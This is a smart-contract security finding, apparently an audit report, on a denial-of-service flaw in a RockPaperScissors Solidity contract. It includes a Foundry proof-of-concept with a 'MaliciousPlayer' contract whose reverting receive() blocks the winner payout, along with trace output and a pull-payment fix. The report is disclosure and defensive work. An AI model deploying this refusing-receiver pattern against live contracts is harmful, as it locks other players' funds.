Description:
The contract RockPaperScissors.sol
attempts to transfer ETH to the winner of a game using a low-level call. If the _winner is a contract that reverts on receiving ETH (e.g., using a receive() function that reverts), the transaction fails and the logic reverts entirely:
(bool success,) = _winner.call{value: prize}("");
require(success, "Transfer failed");
This allows a malicious player to win a game and then block its resolution entirely by refusing the payout, causing the game to be stuck in a pending state indefinitely. This constitutes a Denial of Service (DoS) vector
So
If the _winner is an attacking contract, its receive() can do this:
receive() external payable {
revert("I don't want your ETH");
}
This results in:
Impact:
-
The game cannot be marked as finished.
-
No prize can be withdrawn.
-
Funds remain locked in the contract.
-
The DoS is fully reproducible and prevents normal game flow.
-
Admin has no override mechanism.
-
Critical game logic is tightly coupled with external code execution
Proof of Concept:
-
A test contract called RPS_DoS.t.sol has been created for the proof of concept.
-
To run the test, simply execute:
forge test --mt test_DoSOnWinnerPayout -vvvv
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
contract MaliciousPlayer {
receive() external payable {
revert("I refuse your ETH");
}
function getCommit() external pure returns (uint8 move, bytes32 salt, bytes32 commitment) {
move = 1;
salt = keccak256("malicious");
commitment = keccak256(abi.encodePacked(move, salt));
}
}
contract RockPaperScissorsDoSTest is Test {
RockPaperScissors public game;
WinningToken public token;
MaliciousPlayer public attacker;
address public honest = address(0xA1);
function setUp() public {
game = new RockPaperScissors();
token = game.winningToken();
attacker = new MaliciousPlayer();
vm.deal(honest, 1 ether);
vm.deal(address(attacker), 1 ether);
}
function test_DoSOnWinnerPayout() public {
vm.prank(honest);
uint256 gameId = game.createGameWithEth{value: 0.5 ether}(1, 10 minutes);
(,, bytes32 attackerCommit) = attacker.getCommit();
vm.prank(address(attacker));
game.joinGameWithEth{value: 0.5 ether}(gameId);
vm.prank(honest);
bytes32 saltHonest = keccak256("scissors");
bytes32 commitHonest = keccak256(abi.encodePacked(uint8(3), saltHonest));
game.commitMove(gameId, commitHonest);
vm.prank(address(attacker));
game.commitMove(gameId, attackerCommit);
vm.prank(honest);
game.revealMove(gameId, 3, saltHonest);
vm.expectRevert("Transfer failed");
vm.prank(address(attacker));
game.revealMove(gameId, 1, keccak256("malicious"));
}
}
Output (-vvvv):
❯ forge test --mt test_DoSOnWinnerPayout -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https:
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
[⠆] Compiling 1 files with Solc 0.8.20
[⠰] Solc 0.8.20 finished in 14.69s
Compiler run successful!
Ran 1 test for test/RPS_DoS.t.sol:RockPaperScissorsDoSTest
[PASS] test_DoSOnWinnerPayout() (gas: 381969)
Traces:
[381969] RockPaperScissorsDoSTest::test_DoSOnWinnerPayout()
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 500000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000000A1, bet: 500000000000000000 [5e17], totalTurns: 1)
│ └─ ← [Return] 0
├─ [350] MaliciousPlayer::getCommit() [staticcall]
│ └─ ← [Return] 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 500000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [47751] RockPaperScissors::commitMove(0, 0x5b2259b4e9b249588f0bf27d95d4bcc7030acc8a614c59d27d57007032701852)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000000A1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [46119] RockPaperScissors::commitMove(0, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a)
│ ├─ emit MoveCommitted(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [4375] RockPaperScissors::revealMove(0, 3, 0x389a2d4e358d901bfdf22245f32b4b0a401cc16a4b92155a2ee5da98273dad9a)
│ ├─ emit MoveRevealed(gameId: 0, player: 0x00000000000000000000000000000000000000A1, move: 3, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf28dceb3: Transfer failed)
│ └─ ← [Return]
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [39158] RockPaperScissors::revealMove(0, 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34)
│ ├─ emit MoveRevealed(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], move: 1, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 0, winner: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
│ ├─ emit FeeCollected(gameId: 0, feeAmount: 100000000000000000 [1e17])
│ ├─ [160] MaliciousPlayer::receive{value: 900000000000000000}()
│ │ └─ ← [Revert] revert: I refuse your ETH
│ └─ ← [Revert] revert: Transfer failed
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09ms (218.16µs CPU time)
Ran 1 test suite in 593.43ms (1.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation:
Use the pull-payment pattern to avoid transferring ETH during game logic execution:
mapping(address => uint256) public pendingWithdrawals;
pendingWithdrawals[_winner] += prize;
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Withdraw failed");
}
This ensures that even if a player refuses to accept ETH, the game logic proceeds normally and funds can still be withdrawn manually.
Classification:
-
Severity: High
-
Type: Denial of Service (SWC-113)
-
Reproducibility: Confirmed with Forge test
-
Mitigation: Available and well-documented
Conclusion: This issue poses a real risk to the integrity and availability of the RockPaperScissors protocol and should be addressed immediately.